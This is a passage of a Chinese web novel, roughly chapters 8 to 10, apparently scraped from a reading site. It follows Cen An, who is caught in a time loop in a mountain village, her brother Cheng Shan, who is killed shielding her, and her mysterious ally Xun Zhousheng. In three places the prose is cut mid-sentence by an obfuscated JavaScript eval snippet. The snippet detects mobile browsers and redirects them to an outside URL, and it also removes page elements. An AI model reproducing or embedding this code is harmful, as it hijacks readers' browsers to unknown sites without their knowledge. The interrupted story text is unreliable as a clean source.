得,不是旅游放松频道。 原来是悬疑频道啊。 岑桉确实一直在看窗外。 她觉得荀昼生这个人很有意思,说起话来“犹抱琵琶半遮面”【注】,把半遮半掩的文学艺术用到了极致。 他提起雪山神明时,用了好几次“那个时候”“当时”之类的表达,程杉问他荀家村村民不搬的原因,他也相当含蓄地说了个“可能”。 他看起来可不像是不知道。 那就是在隐藏。 他在藏什么呢? 她直觉这件事跟她被困在这里的原因有关,于是小小地试探了一下。 其实姐弟并不难猜,她和程杉也没有刻意掩饰关系,关键在于她突然发难,荀昼生的下意识反应是最容易暴露真相的。 可他的回答出乎她的意料:“嗯,还有什么,你一起问吧。” 见招拆招啊。 岑桉微眯起眼。这种时候,谁退了,谁就输了。 “再比如,荀家村减少的村民都是搬走了吗?” “以及,十年前到底发生了什么?” 程杉听傻了。 他还在复盘老姐的三个问题,荀昼生已经泰然自若地接上了:“第一个问题,他有点怕你,但又信任你,大部分时候都听你的话,目测年龄差在五岁左右,不像是情侣,应该也不是兄妹,我猜应该是姐弟的血脉压制。” 程杉瞪眼:胡说,我哪有怕她。 这话也只能在心里说说,他连口都没敢张。 “第二个问题,有一部分确实是搬走了,还有一部分年事已高,唯一的念想就是落叶归根,坦然面对生老病死,最后也葬在了这里。” “至于第三个问题,你可以理解成自然灾害吧。当时我在姑姑那边过暑假,再回来就只剩下荀家村了。” 岑桉若有所思:“也就是说,你什么也不知道?” 荀昼生一顿:“当时的确什么也不知道。” 这话说得更有水平了。 有种明明能直接撒谎、却偏要隐晦着说真话的怪异感。 就像那个能考满分的学生,选择题统统选了D,填空和答题倒是一分不扣,明摆着告诉你成绩有问题,但既不肯承认,又不肯交白卷。 岑桉有个荒谬的猜想:“你是机器人吗?” 荀昼生:“……” “很遗憾,我不是。” 岑桉确实有点遗憾。 他像极了程序设定必须说真话的机器人,每个问题都要诚实回答,但涉及核心协议又要遵循保密措施,她还是头一回见这么不像真人的真人。 真人就算了,要真是机器人……有点酷。 可惜,他说他不是。 都说当局者迷,旁观者清。 在这场问答里,程杉是旁观者,可他迷得不能更迷了。 他怀疑自己把智商都仍在了高考考场里,现在脖上顶着的是个空壳脑袋。 铛—— 缆车到站了。 岑桉整理着刚套上的厚羽绒服,荀昼生便率先下了车,颇为绅士地向她伸出一只手。 他站在车厢门口,遮挡住了刺目的阳光,身周仿佛有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143428|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光芒环绕,岑桉抬了下眼皮,随即眼瞎心盲地扶着把手自己站了起来。 这人倒也识趣,迅速给她让出了一条道,脚踩在实地上的一瞬间,风雪将她拥了个满怀。 雪山皑皑,风雪迷眼,五色经幡猎猎作响。 无需相机,眼睛便是最好的取景框。 此时此刻此地,万千经幡仿佛天地间神圣的化身,于风中翻卷如浪,与她的心跳声同频共振。 荀昼生是个称职的导游,将五色寓意一一拆解给她听。 五色经幡从上至下蓝白红绿黄,蓝色对应天空,白色代表祥云,红色象征火焰,绿色代指绿水,黄色呼应土地。天地不容颠倒,五色不容错位,生命赖以生存,人间安宁康乐。 “你想摸摸看吗?” 他的声音很轻,却蛊惑着她照做。 就在手心触摸到经幡前的一刹那,岑桉忽然停住。她长长吐出一口浊气,转过身时似笑非笑:“这就是你的目的?” 荀昼生缄口不言。 岑桉环视一周,没找到弟弟:“程杉呢?你把他放出来,我们谈谈。” “我没想用他要挟你。”荀昼生的眼里江水潺潺,“我也没想害你。” “好,我信你,”岑桉异常平静,“现在我能见程杉了吗?” 荀昼生:“……” 她的语调和表情都波澜不惊,看不出是敷衍还是认真,他的话在她面前显得格外苍白无力,但他还是挣扎道:“我知道这听起来不怎么可信,如果你真的愿意相信我,把手放上去试试吧,你放上去我就把他带过来。” “我不试呢?” “……”荀昼生挫败不已,“那我也会把他带过来。” “听上去很划算,那就去吧。” 岑桉扬了扬下巴,荀昼生便乖乖巧巧地拖着脚步,心不甘情不愿地往缆车车厢走去,再回来时身前多了个点着了的窜天猴——是程杉。 “老姐——”程杉嗷嚎一声飞奔而来。 岑桉将他前前后后转了两圈,确定没有外伤,这才安慰地拍了拍他的后脑勺,目光落到了不远处的荀昼生身上。 眼见着荀昼生像只淋了雨的小狗,委屈巴巴地等着主人吹干,岑桉可耻地心软了。 他大费周折把她带上雪山,图什么呢? “会死吗?”她问。 荀昼生愣神:“什么?” “我照做的话,会死吗?” 除她之外的两人俱是一怔。 程杉紧张地拦在她身前:“你做什么,别犯傻啊!” “再傻也傻不过你了。”岑桉说着敲了下弟弟的脑门。 她注视着荀昼生那张由雨转阴再转晴的脸,看他眼中冻住的江河重又流淌,眼周慢慢浸出一圈红。 “你会活着。”他郑重答道。 岑桉点点头,手贴近了悬挂经幡的柱子,在一毫之差时突然开口:“发信人是你吧。” 她没有等任何人给出答案,径直碰了上去,灼热的触感烫伤了她的掌心,火烧火燎的痛感让她几乎要松开手,却在一霎间被万丈圣光笼罩在经幡下,她如雕塑一般定在原地,怎么也动弹不得。 五色经幡犹如水中游鱼于空中盘旋,忽而化作漫天光彩汇入她体内,意识涣散前一刻,她脑海中浮现出一个念头。 ——原来神迹真的存在啊。 8. 第八章 “姐?” “老姐?” “岑桉!” ——是谁在叫她。 岑桉倏然睁开眼,对上程杉担忧的脸,他如释重负地舒了口气:“太好了,你终于醒了。” 这过于熟悉的开场白让岑桉心头一颤,她猛地坐起身,抓住程杉的胳膊:“现在是什么时候,我又回来了?” 程杉脸色突变:“姐你睡傻了?” 又是似曾相识的台词。 岑桉嘎嘣一下躺了回去,心里止不住懊恼——怎么就被骗了,难不成她判断有误,荀昼生不是那个暗中相助的发信人? 等下。 她刚才是不是躺下了。 她记得高铁买的是硬座来着? 岑桉一个鲤鱼打挺又坐了起来:“什么情况?” 程杉对老姐的仰卧起坐百思不解,但还是老实答道:“你摸完那根柱子之后忽然就昏过去了,那男的说你需要休息,就把他以前的房子留给咱俩了。喏,你躺的就是他家的床。” “我怎么下的雪山?” “那男的抱你坐的缆车。”程杉咬牙切齿。 太耻辱了,他居然没有抢过一个陌生人。 “他说住他家,你就同意了?” “……”程杉眨巴眨巴眼,诚恳道,“姐,我以为你想跟他谈恋爱。” 岑桉:“……” 有点手痒怎么办。 她一个暴栗敲在他头上:“你能不能动动脑子!你才见他几面啊?” “可是你没见他几面,不也听了他的话,还问他会不会死,”程杉缩了缩脖子,“多吓人啊。” * 事情要从两个多小时前的索道缆车说起。 程杉没吃过猪肉,也见过猪跑,那男的一下缆车就故作绅士地想扶老姐,明显是对她起了心思,幸亏老姐英明,压根不吃这一套。 他对那男的嗤之以鼻,第一面揽腰,第二面握手,现在已经开始想挽胳膊了,能是什么好东西。 程杉短暂地遗忘了身上的温暖是谁给的,端起碗吃饭、放下碗骂娘又如何,保暖哪有老姐重要。他一边这样想着,一边拢紧了羽绒服的领口。 可就在他准备跟着下车的时候,那男的忽然回头看了他一眼,嘴巴一张一合,好像在说“毛线”。 什么毛线? 他身上有毛线吗? 程杉低头检查了遍,毛线线头没找到,只听“咔哒”一声——车厢从外面锁上了。 程杉:? “你干啥!”程杉哐哐拍着车厢门,“大哥——放我出去——” “姐——姐——救命啊——” 也不知道一缆车隔音怎么做得这么好,老姐头也没回地渐行渐远,程杉心里仅存的希望碎了一地,随之升腾的是无边的猜疑和恐惧。 荀昼生把他困在这里,是要对老姐做什么?他图钱图色还是图命?这破地方要是被人抹了喉咙是不是几百年都不会被人发现? 老姐聪明冷静力气又大,文能套人话、分析事,武能扛箱子、搬桌子,不知道要比他有用多少倍,如果真的要死一个,能不能先让他死?若是老姐在他这个位置,一定能比他有主意,一定能想办法救他。 程杉打了一遍又一遍电话,发了一条又一条消息,明知是无用功还是不肯放弃。胡思乱想占据了他的大脑,时间的流逝都变得不甚明显,如果他再不做点什么,恐怕真的会崩溃。 咔嚓—— 门,开了。 程杉像是突然见了光明的盲人,又惊又喜又无措,踉踉跄跄地把给他开门的荀昼生甩出去老远,一路飞扑到经幡下那熟悉的身影跟前。 是完好的,无伤的,全须全尾的。 “老姐——”他差点哭出声。 然而,岑桉关心地看了他一圈后,冷不丁冒出了一句“会死吗”,还是对着荀昼生问的。 程杉刚拼凑贴好的希望二次坠落,摔了个粉身碎骨渣都不剩。 之后发生的事情更是光怪陆离、匪夷所思,碎成渣渣的不仅有他的希望,还有他的三观。 ——原来真的有光啊。 那是不是奥特曼也是真的? 他还没发散得更广,就看到老姐在光芒黯去的同时向后仰倒,比她倒地更快的是一个箭步冲上去扶稳她的荀昼生。 刚跑两步的程杉:? 荀昼生牵起了岑桉的手腕,专注地看着她,眼神里居然被程杉读出了几分温柔和缱绻。还在他怀疑自己看走眼的时候,荀昼生已经站起身,一把将她打横抱起,环在腿弯处的手还虚握成拳,让人挑不出半分轻浮。 再次落后一步的程杉:“……” “劳驾,”荀昼生冲他颔首,“帮我开下门。” 程杉像牵线木偶一样打开了车厢门,眼睁睁地看着荀昼生抱着岑桉上了缆车,关门时小心翼翼地伸出手试了下老姐的鼻息——活的。 太好了。 但是,太诡异了。 荀昼生捕捉到了他的小动作:“她只是睡过去了。” 程杉胡乱点着头。 他肚子里装着一万个为什么,但荀昼生显然没有给他解释的打算,目光一直停留在岑桉的脸上,声音放得极轻:“我家离这里不远,过会儿我带你过去,让她好好睡一觉吧。” 程杉想问为什么要去他家,荀昼生在他张口前就压住了他的话头:“她需要休息,你别吵她。” 程杉想说要不换他来抱吧,荀昼生直接把食指抵在嘴边:“嘘。” 程杉:“……” 怎么会有这么不顺畅但又句句有回应的沟通啊。 他憋了又憋,用气音问道:“你喜欢她?” 荀昼生连一秒都没思考,就重重点了下头。 “一见钟情?靠谱吗你?” 摇头,又点头。 “那我姐喜欢你吗?” 点头,又摇头。 程杉:? “大哥你没病吧?” 摇头。 怕他理解不充分,荀昼生又紧巴巴地补了仨字:“很健康。” 程杉忍无可忍:“你这不是会说话吗!我姐还啥都没说呢,你别一副你俩已经谈上的样子,尊重一下她的意见好吧?” “嘘,别吵。”荀昼生皱眉。 半晌,又是点头,点头,摇头,点头。 程杉:“……” 文言文翻译都比这个简单。 他能不能聘请个哑巴翻译官啊——不靠手语靠头语的那种。 * 回到当下。 岑桉露出了看二百五的神情:“你是说,你问的每个问题他都用头回应了,但你没看懂,而且还不记得他点头摇头的顺序了?” 程杉点头,又摇头:“不仅是他的顺序,我好像也不太记得自己原句咋问的了……” 又是一个暴栗。 程杉委委屈屈地捂着自己的脑门:“我错了姐,但我真的努力了,你打都打了,就别凶我了。” 老实了不到一秒,他又不安分起来:“所以老姐,你喜欢他吗?” 岑桉:“……” 也谈不上喜欢。 毕竟只是个认识了不到一天、只见过两面陌生人。 虽然还是个互相知道名姓、一起看过雪山经幡、被他抱上缆车、睡过他家床铺、还疑似被他短信提醒过危险的陌生人——好吧,也没有很陌生。 但她不喜欢这种没有安全感的心动。 她不喜欢有人为她安排好一起,还冠上“为她好”的名头,更不喜欢瞒着一切将她保护得密不透风的伴侣,这不是保护,是不信任的表现。 她喜欢事事参与、亲历亲为,相信自己的判断,更相信自己的能力。命运就该牢牢握在自己手里,而不是依赖于其他任何人。 所以—— “我不喜欢他。” 岑桉笃定。 “况且,就算我真的喜欢他,你也不能因为我的喜欢影响自己的判断。我们是亲人,有天然的信任,但在这里,他们才是同根同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143429|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓的一家,永远不要低估恶意,也永远不要考验人性。” “我知道的,”程杉喏喏,“可是如果是你喜欢的人,那一定不会错的。” 在他心里,老姐就是无所不能的。 岑桉语塞。 她转移了话题:“你当时看见了吗,那些彩色的东西。” “啥?经幡吗?”程杉慢了半拍,“哦哦哦,你说奥特曼的光吗!” 看样子,他也看到了那些像圣光一样非科学的东西。 岑桉不自觉捏了捏手指:“他人呢?” “谁?”程杉又慢了半拍,随即反应过来,“哦荀昼生啊,他说他还有事,就先走了。”说完,他又惟妙惟肖地模仿了一句“你照顾好她”。 这个年纪的男生都这么讨打吗。 岑桉控制住跃跃欲试的手:“他有说是什么事吗?” “那倒没有,但我看他出门前带走了一把铁锹。”程杉比划了下长短,“到我腰这么高。” 岑桉想了想:“我们去地里看看,说不定能找到他。” 她要找他问清楚,那些流向她体内的彩光是什么,她不能不清不楚不明不白地昏上这一遭。 “在这之前,我有件事想跟你说,”她决定把一切和盘托出,“你还记得高铁上,我问你那个易拉罐的事情吗?” “啥易拉罐?” “……”岑桉换了个说法,“被小孩儿弄洒的可乐罐。” “哦哦,我记得,那个熊孩子,他非要喝可乐又不会开,他爸给他打开的时候,他一巴掌把可乐罐扇地上去了。”程杉对熊孩子印象深刻,“他一路上就没歇歇,吱哇乱叫又哭又闹的,姐你也是真能睡,这都没被吵醒。” “这就是我要说的,”岑桉正色道,“我怀疑我当时在——” 卡住了。 像被人扼住了喉咙,“上一个轮回”五个字就被堵在嗓子眼,怎么也发不出音来。 程杉疑惑:“怎么不说了,你当时咋了?” “我可能——” 又卡住了。 亲身试验,“死过一次”四个字也说不出来。 岑桉沉默了下,好像发现了什么奇怪的机制。 重生。 循环。 轮回。 平行世界。 “阴谋。” “巧合。” “做梦。” 她突发奇想,把一系列能联想到的可能性试了个遍,最后发出音来的只有阴谋、巧合和做梦——通过排除法可知,她的重生,又或者说是时间循环,并不是因为什么阴谋,也不是她瞎猫碰到死耗子做了个预知梦,上一次发生的一切都是真实存在的。 不是阴谋,不是巧合,那她为什么会掺和进来? 她忽然又想到一个词。 “使命。” 虽然说出了口,但明显没有前三个词来得流利,尤其是最后那个“命”字,有种磕磕绊绊勉为其难的感觉。 岑桉:? 再换一个。 命运。 这次被扼喉的感觉更强烈了。 岑桉感觉有一双手掐住了自己的脖子,却又谨慎地避开了要害,不会造成痛感,只有说不出话的功效。 程杉目瞪口呆。 他姐刚刚郑重其事,像是要给他揭露什么惊天大秘密,结果刚开了个话头就不继续了,然后莫名其妙地张口闭口张口闭口,又莫名其妙地蹦出来四个毫无关联的词语,像极了年久失修的泡泡机,被锤了一拳才布噜布噜吐出几个泡泡。 什么阴谋、巧合、做梦、使命,足够他脑补出一场大戏——远道而来的旅人因为巧合迈入了陷阱,身上背负着惊天动地的使命,声嘶力竭地对着诱惑她同流合污的恶魔大喊:“你做梦!” 丝丝入扣,合情合理。 起码比他高考写的议论文要精彩多了。 程杉悟了。 他泪眼汪汪:“姐,你受苦了,不必多说了,我懂你。” 岑桉:??? 9. 第九章 岑桉太了解自家弟弟的德性了。 虽然不知道程杉都脑补了些什么东西,单是看他的表情,就知道不简单。 她估摸着,不是正义使者历经艰难险阻战胜邪恶,就是光明战士忍辱负重坚持信仰——标准的中二少年过度幻想。 但是她都亲眼见过神迹了,很难说他的幻想就是假的。 岑桉不明白,自己都成年这么久了,早就过了中二幻想的年纪,怎么还会牵扯到这种热血动漫一样的剧情里。 她嫌弃地瞥了眼难抑兴奋的弟弟,却被他紧紧钳住了胳膊:“姐——我们真的要联手拯救世界了吗?” “被上天选中成为主角,一定是因为我一直坚定相信会有这一天!” 岑桉:“……” 被选中的不是你,是你老姐我。 他越说越上头:“老姐,你是不是被我牵扯进来的啊?哦我懂了,一定是上天安排你接下这个单子,然后让你为我引路,姐你放心,我可是主角,肯定能保证你的安全!” 等下。 ——单子? 岑桉忽然意识到一件事。 “程杉,”她缓缓道,“我好像知道原因了。” “不是使命,是报应。” 是她接未成年单子的报应。 行内不成文的规矩:不接未成年预约,不收未成年定金。 没想到她一时疏忽,报应来得这么快。 岑桉苦笑。 谁能想到给出三倍定金、承诺尾款翻倍还约在雪山的老板会是个目测七八岁的小女孩呢。 都、是、报、应、啊。 * 手机上的时间走到了12:30。 岑桉两人顶着炎炎烈日站在田地里时,浑身狼狈不堪。 他们才刚出门没多久,天空忽地阴了个彻底,一场突如其来的瓢泼大雨把两人淋成了落汤鸡,还没来得及找个屋檐躲躲,雨就停了。 早就听说临歧天气阴晴不定,雨说下就下说停就停,可岑桉也没想到这雨又大又急,仿佛下这一阵就是为了把他俩浇湿,紧接着云层散去,太阳崭露头角,把他俩硬生生晒成了人干——衣服也跟着晾干了。 可惜裤腿上的泥渍暂时是擦不去了。 “啊我居然忘了!”程杉痛心疾首,“那男的说过来着,今天有雨,出门带伞。他们本地人连天气都会看吗?我手机天气预报现在还说是晴天。” 岑桉懒得骂他,凑合着用湿透又晒干的纸巾擦了把脸,又指挥程杉把他皮肤表面的泥点子抹干净。 得亏今天把相机留在了室内,否则她怕是要心痛得滴血。 田地的土还潮湿,地里长满了她不认得的绿苗,一个头戴草帽、脚蹬雨靴、弯腰耕作的身影扶着后腰直起身——是王春花。 虽然不是正确的时间,也不是正确的地点,甚至不是正确的人——她身边多了个程杉,但是在田间与王春花遥遥相望时,岑桉还是心跳加速了两下。 她耳边仿佛响起了敲门声。 然而这次,没有那扇遮挡在她们之间的门。 “对了姐,”程杉把她从幻听中拉了回来,“你还没告诉我,为什么要当心她?” 哪怕隔得很远,他还是压低了声音,手微抬起又很快放下,生怕被对方发现在指人。 这个能说出来吗。 岑桉迟疑,还是试了:“她——”害过我。 果然行不通。 “她杀过人。”这说法倒是能行,就是把程杉吓住了:“杀、杀过人?” “对,”岑桉干脆开始胡扯,“这种杀人犯最喜欢折磨人了,拿着钥匙敲门是为了享受恐惧杀人的乐趣,你多防着点肯定没错。” “不、不是,姐,你咋知道的啊——”程杉哆哆嗦嗦,“你杀过?” 岑桉:“……” “那、那就是,你看过她的通缉令?” 这次算是靠点谱,岑桉直接认下:“对,没错。” “那还等什么,报警啊!”程杉低声哀嚎到一半忽然停下,“不对,电话打不出去,完蛋了。” “这真的是热血救世番吗,我怎么越听越像社会新闻呢。”他绝望了,“社会新闻里的主角可不兴当啊。” 虽然两人的交流全程控好了音量,但架不住最开始的那眼对视,王春花已经挎着篮子朝他们的方向走来。 岑桉下意识把程杉护在身后。 “你们怎么跑这里来了,”王春花隔着段路冲他们挥手,“刚才淋没淋到?” 程杉从身后拽着岑桉的衣服,两人一起后退了几步,他这才从她背后探出个脑袋:“淋了,又干了。” 王春花走到跟前,伸出手想试试岑桉的衣服,却被避了过去。 她也没恼,干笑道:“干了也不能这么穿,家里还有干净衣裳,我回去捡两件给你们换。” “不用了婶子,我们带了换洗衣服,您别张罗了。”岑桉警惕地保持着礼数。 “带了就好,带了就好,”王春花维持着笑脸,“今天早上都吃饱了吧?” 也没等人回答,她自顾自地说了下去:“村里就些粗茶淡饭,也不知道你们吃不吃得惯,平时也没几个客,谁家几张嘴吃饭都有数,你们这来得突然……” 好耳熟的台词。 上回就是这一套丝滑连招,诈走她一笔钱,然后又让她那个夜晚永远闭上了眼。 岑桉还没想好如何应对,程杉却一反常态地开了窍:“你、你要钱?” 他一语点破,婶子尴尬地扭转了视线:“啊,也不是,就是怕你们吃不好,我这……” 话没说完,程杉就颤抖着手拉开了背包拉链,从里头掏出钱包,一个钢镚也没敢私吞,老老实实抽出了身份证和学生证,然后把鼓鼓囊囊的钱包双手奉上:“钱、钱都在这里了。” 岑桉还想说点什么,却被程杉偷偷捣了一下,收到一个“保命要紧”的口型。 王春花可能也没见过这场面,接过钱包后一时间也没有其他动作。程杉扯着岑桉撒腿就跑,一直跑到大路的路灯下,才停下来歇口气。 程杉双手按着膝盖,呼哧呼哧地喘着粗气。 “逃过一劫,活下来了。” 他好不容易喘匀了气,又有了劲头调侃:“我做了这么多被人追杀的噩梦,这还是头一回在现实里逃跑,居然还成功了。” 岑桉神色复杂。 她僵硬地扭回头,看向紧抓在她左胳膊上的那只手,目光顺着手上的老茧上移到那张熟悉的脸上,艰难开口道:“可能,也没成功。” 程杉:“啊?” 他回过头,对上王春花的脸时心跳骤停:“鬼啊——” “男娃娃瞎喊什么呢!”王春花不高兴了,“你把我当什么了,扔了钱就跑,快得跟兔子一样,我要不抓着人,哪能追得上啊。” 她从钱包里抽出一叠钱,往拇指上吐了口唾沫,一张一张点了起来。大约是数到了她心里的数值,她满意地停手,把剩下的钱塞回钱包一把拍到程杉怀里:“这些就够了,我就收个饭钱,良心买卖,又不是抢劫。” 这回轮到程杉尴尬了。 他一边撑着脸上的表情,一边转头求助岑桉,眼里明明白白写着:她咋和你给的剧本不一样啊? 岑桉也有点茫然。 其实她也没拿准婶子的反应。 回头想想确实处处不对劲。 就比如上次,王春花明明可以杀了她,再拿走她所有钱,哪怕不知道手机支付密码,她的行李全加起来也能卖个好价钱。 再说这次,王春花明明得到了整个钱包的钱,大可以杀了他们灭口,即便两拳难敌四手,也该放走他们再另择时机,而不是直愣愣地跟上来,只留下所谓“应得的钱” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143430|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那就是,只有晚上才动手? 岑桉皱了皱眉。 好像也说不通,除非王春花晚上会被夺舍,否则很难解释为什么白天晚上像是两个人。无论是现在的她,还是早饭桌上的她,都不像是会对人下手的人。 又或者,每次轮回都不一样? 就像这次没有失约的单主,也没有那条长长的短信。 也不对。 昨晚还是有人来敲过门。 那个人是王春花吗? 如果是,她为什么会来?上次他们起码在村长院里见过她一面,这次因为见了荀小妹,错过了上回的时间,和王春花之间的一面之缘直接被抹掉了,她为何还会如期前来? 千头万绪,一团乱麻。 许多条线索在脑海中打架,岑桉仍觉得自己没有抓住重点。 到底是忽略了什么呢? 王春花早在还回钱包后就离开了,程杉胡乱把它塞回了背包,眼巴巴地看着陷入深思的老姐,也不敢出声打扰。 他无所事事地东瞅瞅西看看,忽然注意到了路边的路灯杆上有个奇怪的圆钮,好奇凑上前去,鬼使神差地按下了按钮。 路灯乍然亮起。 如同连锁反应般,以它为圆心的一圈路灯紧跟着亮了起来,慢慢向外辐射,不到两分钟,整个村子的路灯都进入了工作状态。 程杉懵了。 他慌忙伸手又按了一下,圆钮却纹丝不动,怎么也按不下去。 岑桉从繁杂的思路里抽离出来:“你干啥了?” “我就是轻轻按了一下,怎么就关不掉了啊,”程杉欲哭无泪,“这也太浪费了,我是罪人。” 岑桉一时无语,凑过去想看个仔细,忽而看到路灯后一个焦急跑来的身影,远远呼喊着她的名字:“岑桉——” 她正欲起身,忽然发现自己的腿被钉在了原地,挪不了半步。 “姐,我咋动不了了啊?” 程杉的处境与她如出一辙,岑桉不免愈加焦躁。 是因为什么,那个能开不能关的按钮吗? 还是因为亮起的路灯? 太阳光很耀眼,可一点也没有盖住路灯的风头。 正相反,路灯的黄光明晃晃地照在她身上,愈来愈亮,愈来愈有存在感,身下的影子仿佛也活了过来,在路灯的照射下,影子的轮廓越来越明显。 好美的灯光啊。 岑桉渐渐听不到声音了,所有注意力都被诱人亲近的路灯吸引,手影罩在灯光时的样子,让她联想起了图片上见过的煤油灯。 煤油灯…… 煤油灯! “岑桉——小心——” 她猝然清醒。 可程杉已经抽搐着倒在地上。 他倒下时就挡在她身前,侧对着她的王春花手里握着把肮脏的短刀。 莫大的悲痛在心底炸开,犹如沉在水底的溺水人,水流淹没了她的意志,也篡夺了她的呼吸,岑桉几乎要喘不过气来。 程杉脸上的痛楚像把利刃,狠狠刺进她心脏,绞碎了她的理智。 王春花转过身来,刀刃向她,岑桉想也没想径直伸手握住了刀柄,用力掰向一边。 岑桉敏锐捕捉到王春花因诧异而停顿的一瞬,抓住时机劈向她的手腕,趁她吃痛松手时夺过了短刀,用力向下刺去——一双手骤然出现,握住了岑桉的手。 是一双很好看的手。 她在第一时间认出了手的主人,下意识卸了力道,荀昼生立刻抽出短刀,一甩手丢出去老远。 他一记手刀劈在王春花后颈,随着后者缓缓倒下,岑桉的理智也逐渐回归,跌跌撞撞地跑向程杉,一步不稳跪坐在地,她也没有起身,就这样爬到了弟弟身前。 他身上没有一处伤口,也没有丁点血迹,可人就是躺在那里,不知生死,不省人事。 10. 第十章 岑桉六岁的时候,多了个弟弟。 小姨刚生产完,人躺在医院,身边睡着个软塌塌、红彤彤的小婴儿。妈妈说,这是小姨的孩子,要叫弟弟。 岑桉那时年幼,认定住院就是生病,弟弟就是害小姨住院的病因,懵懂无知间记恨上了弟弟。 弟弟嗷嗷大哭时,她堵着耳朵玩玩具;弟弟咧嘴大笑时,她抢走他最心爱的拨浪鼓;弟弟喊她姐姐时——好吧,她承认,那声怪里怪气的“姐”让她心软了。 再加上岑桉会看人眼色,看得出小姨是真心喜欢弟弟,所以顺水推舟地原谅了弟弟。 她的和解方案也很简单,把自己最爱吃的苹果分了一半给弟弟,结果他努力了半天,苹果只受了点皮外伤。 弟弟“哇”一声就哭了。 岑桉:“……” 忽然又不想喜欢弟弟了。 后来大了些,岑桉也懂事了,什么事都会让着弟弟,好吃的也会让弟弟先吃——这是老师教的,孔融让梨。但弟弟从小机灵,每次瞥到她依依不舍的表情,都会游移不定地在姐姐和美食之间摇摆,最后下定决心:“姐姐吃。” 岑桉的心化成了一滩水。 那段时间也是姐弟关系最融洽的阶段。 再后来,程杉上学了,喜欢披着红披风满屋乱窜,四处嚷嚷要和奥特曼打怪兽,还在读中学的岑桉忍无可忍,伸手就给了他一个暴栗:“安静点!我写作业呢。” 小姨夫工作忙,经常出差,每次回来都会给程杉带奥特曼,也会给岑桉带毛绒娃娃。每当他外出忙工作时,小姨就领着程杉来岑桉妈妈家串门。 小姨很疼岑桉,她一直喜欢女孩,结果生出来个皮小子。 每次程杉打扰岑桉做功课,她都会把儿子批上一顿,可她说话根本没有岑桉好使。往往她训上半小时,都没有岑桉一句“安静”管用。 岑桉的爸爸是个隐形人,她的家长会都是妈妈参加,学习材料都是妈妈买,升学事宜都是妈妈关心,所以岑桉读大学那年,她妈妈直接把爸爸给踹了。 “桉桉,”妈妈眼眶是红的,“妈妈不希望自己的婚姻影响你的择偶观。但妈妈尊重你,无论你做什么选择,妈妈都支持。” 那件事之后,程杉忽然就懂事了,用小姨的话说,他终于有了个男子汉的样子。 “姐,以后我保护你。爸爸说,我是个男人,男子汉大丈夫,要保护好家里的女人。”程杉昂首挺胸,“我和奥特曼都会守护你的!” 那时候他才刚上初中。 他们姐弟两人打打闹闹这么多年,她一直没把他那句承诺当回事。她比他大了六岁,他在她眼里始终是个孩子。 可就是这个孩子,坚毅地挡在了她的身前。 然后倒在了这个荒僻的村落。 岑桉的身体不住地打颤,她撑着全部的力气,将手指贴上了程杉的脖颈——那里已经没了脉搏。她不相信,试了他的鼻息,又侧过头趴在他心口。 没有呼吸,也没有心跳。 躺在地上的,仿佛只是一副空壳。 她不接受。 她要救他。 岑桉上大学时学过心肺复苏,她的手一下一下地按压着程杉的胸部,大颗大颗的汗珠从额头滚落。 没有伤口,却没了生命,这不符合岑桉对科学定义上死亡的认知。 可她只能以科学定义上的救人方式挽留他的生命。 她不知道自己坚持了多久,直到双臂麻木使不上力,直到那双好看的手再次握住了她的手。 “岑桉,好了,”他说,“这不是你的错,你尽力了。” 眼睛像是忽然有了知觉,泪水夺眶而出。 “我没有尽力,”她听到自己的声音沙哑又嘶竭,“我还能继续,我要救他,我要救他。” “岑桉,”他双手掰过她的脸,“岑桉,你看着我,你已经做得很好了。” 胸口像破了个大洞,冷风穿堂而过。 “岑桉,你振作一点,程杉死了。”他盯着她的眼睛,声音放得很重,“他这次死了。” 这次。 他特意咬重了这两个字的读音。 岑桉恍惚地抬起了头,听他一字一句磕磕绊绊却铿锵有力:“你还能……还有机会,这不是最后的结局。” “岑桉,还不到放弃的时候。” 他的话因中间被吞掉的字词而断断续续,但她听得明明白白。 也许是轮回的法则限制了他们的表达,又也许是时间循环这样逆天的能力剥夺了他们倾诉的权力。 也正是这项冥冥之中的附加条款,成了他们之间独特的密语。 她终于能通过密语得到确认。 他是她的同伴。 在这个不知去路的路口,他是她的共谋。 岑桉冷静下来。 她看着被荀昼生五花大绑昏迷不醒的王春花:“刚刚为什么不让我杀了她?” 他不应。 过了半晌,他才在她的目光下败下阵来:“其实你比我更清楚,即便你杀了她也无济于事。你真的想要杀了她吗?当你手上有了一条人命,生命对你来说,还有那么重的分量吗?” 岑桉垂下头:“可她杀了程杉,我要报仇。” 他缄默片刻,轻轻叹了口气:“岑桉,你不用这样试探我。我和你在同一条战线上,一直都是。” 她看得出来。 